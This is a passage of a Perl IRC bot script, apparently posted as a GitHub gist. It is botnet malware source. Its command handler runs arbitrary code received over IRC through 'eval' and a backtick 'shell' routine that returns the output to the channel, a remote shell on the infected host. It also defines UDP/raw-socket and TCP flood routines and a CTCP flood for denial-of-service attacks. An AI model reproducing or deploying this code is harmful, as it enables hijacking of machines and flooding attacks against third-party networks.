} | |
} | |
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
ctcp("$1", "$2"); | |
} | |
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
ctcp("$2", "$3"); | |
} | |
} | |
elsif ($case =~ /^invite\s+(\S+) (.*)/) { | |
invite("$1", "$2"); | |
} | |
elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) { | |
conectar("$2", "$1", "6667"); | |
} | |
elsif ($case =~ /^nick (.*)/) { | |
nick("$1"); | |
} | |
elsif ($case =~ /^raw (.*)/) { | |
sendraw("$1"); | |
} | |
elsif ($case =~ /^eval (.*)/) { | |
eval "$1"; | |
} | |
elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
j("$1"); | |
} | |
elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
p("$1"); | |
} | |
elsif ($case =~ /^quit/) { | |
quit(); | |
} | |
} | |
############## | |
sub shell { | |
my $printl=$_[0]; | |
my $comando=$_[1]; | |
if ($comando =~ /cd (.*)/) { | |
chdir("$1") || msg("$printl", "No such file or directory"); | |
return; | |
} elsif ($pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
my @resp=`$comando 2>&1 3>&1`; | |
my $c=0; | |
foreach my $linha (@resp) { | |
$c++; | |
chop $linha; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
if ($c == "$linas_max") { | |
$c=0; | |
sleep $sleep; | |
} | |
} | |
exit; | |
} | |
} | |
} | |
############## | |
sub udpflooder { | |
my $iaddr = inet_aton($_[0]); | |
my $msg = 'A' x $_[1]; | |
my $ftime = $_[2]; | |
my $cp = 0; | |
my (%pacotes); | |
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
return(undef) if $cp == 4; | |
my $itime = time; | |
my ($cur_time); | |
while ( 1 ) { | |
for (my $port = 1; | |
$port <= 65000; $port++) { | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++; | |
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++; | |
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++; | |
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++; | |
for (my $pc = 3; | |
$pc <= 255;$pc++) { | |
next if $pc == 6; | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++; | |
} | |
} | |
last if $cur_time >= $ftime; | |
} | |
return($cur_time, %pacotes); | |
} | |
############## | |
sub tcpflooder { | |
my $itime = time; | |
my ($cur_time); | |
my ($ia,$pa,$proto,$j,$l,$t); | |
$ia=inet_aton($_[0]); | |
$pa=sockaddr_in($_[1],$ia); | |
$ftime=$_[2]; | |
$proto=getprotobyname('tcp'); | |
$j=0;$l=0; | |
$cur_time = time - $itime; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
socket($t,PF_INET,SOCK_STREAM,$proto); | |
connect($t,$pa)||$j--; | |
$j++;$l++; | |
} | |
$l=0; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
shutdown($t,2); | |
$l++; | |
} | |
} | |
############## | |
sub msg { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :$_[1]"); | |
} | |
sub ctcp { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
} | |
sub notice { | |
return unless $#_ == 1; | |
sendraw("NOTICE $_[0] :$_[1]"); | |
} | |
sub op { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +o $_[1]"); | |
} | |
sub deop { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -o $_[1]"); | |
} | |
sub voice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +v $_[1]"); | |
} | |
sub devoice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -v $_[1]"); | |
} | |
sub j { &join(@_); } | |
sub join { | |
return unless $#_ == 0; | |
sendraw("JOIN $_[0]"); | |
} | |
sub p { part(@_); } | |
sub part {sendraw("PART $_[0]");} | |
sub nick { | |
return unless $#_ == 0; | |
sendraw("NICK $_[0]"); | |
} | |
sub quit { | |
sendraw("QUIT :$_[0]"); | |
exit; | |
} | |
sub modo { | |
return unless $#_ == 0; | |
sendraw("MODE $_[0] $_[1]"); | |
} | |
sub mode { modo(@_); } | |
sub invite { | |
return unless $#_ == 1; | |
sendraw("INVITE $_[1] $_[0]"); | |
} | |
sub topico { | |
return unless $#_ == 1; | |
sendraw("TOPIC $_[0] $_[1]"); | |
} | |
sub topic { topico(@_); } | |
sub away { | |
sendraw("AWAY $_[0]"); | |
} | |
sub back { away(); } | |
} | |
################### | |
##### [ EOF ] ##### | |
################### |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment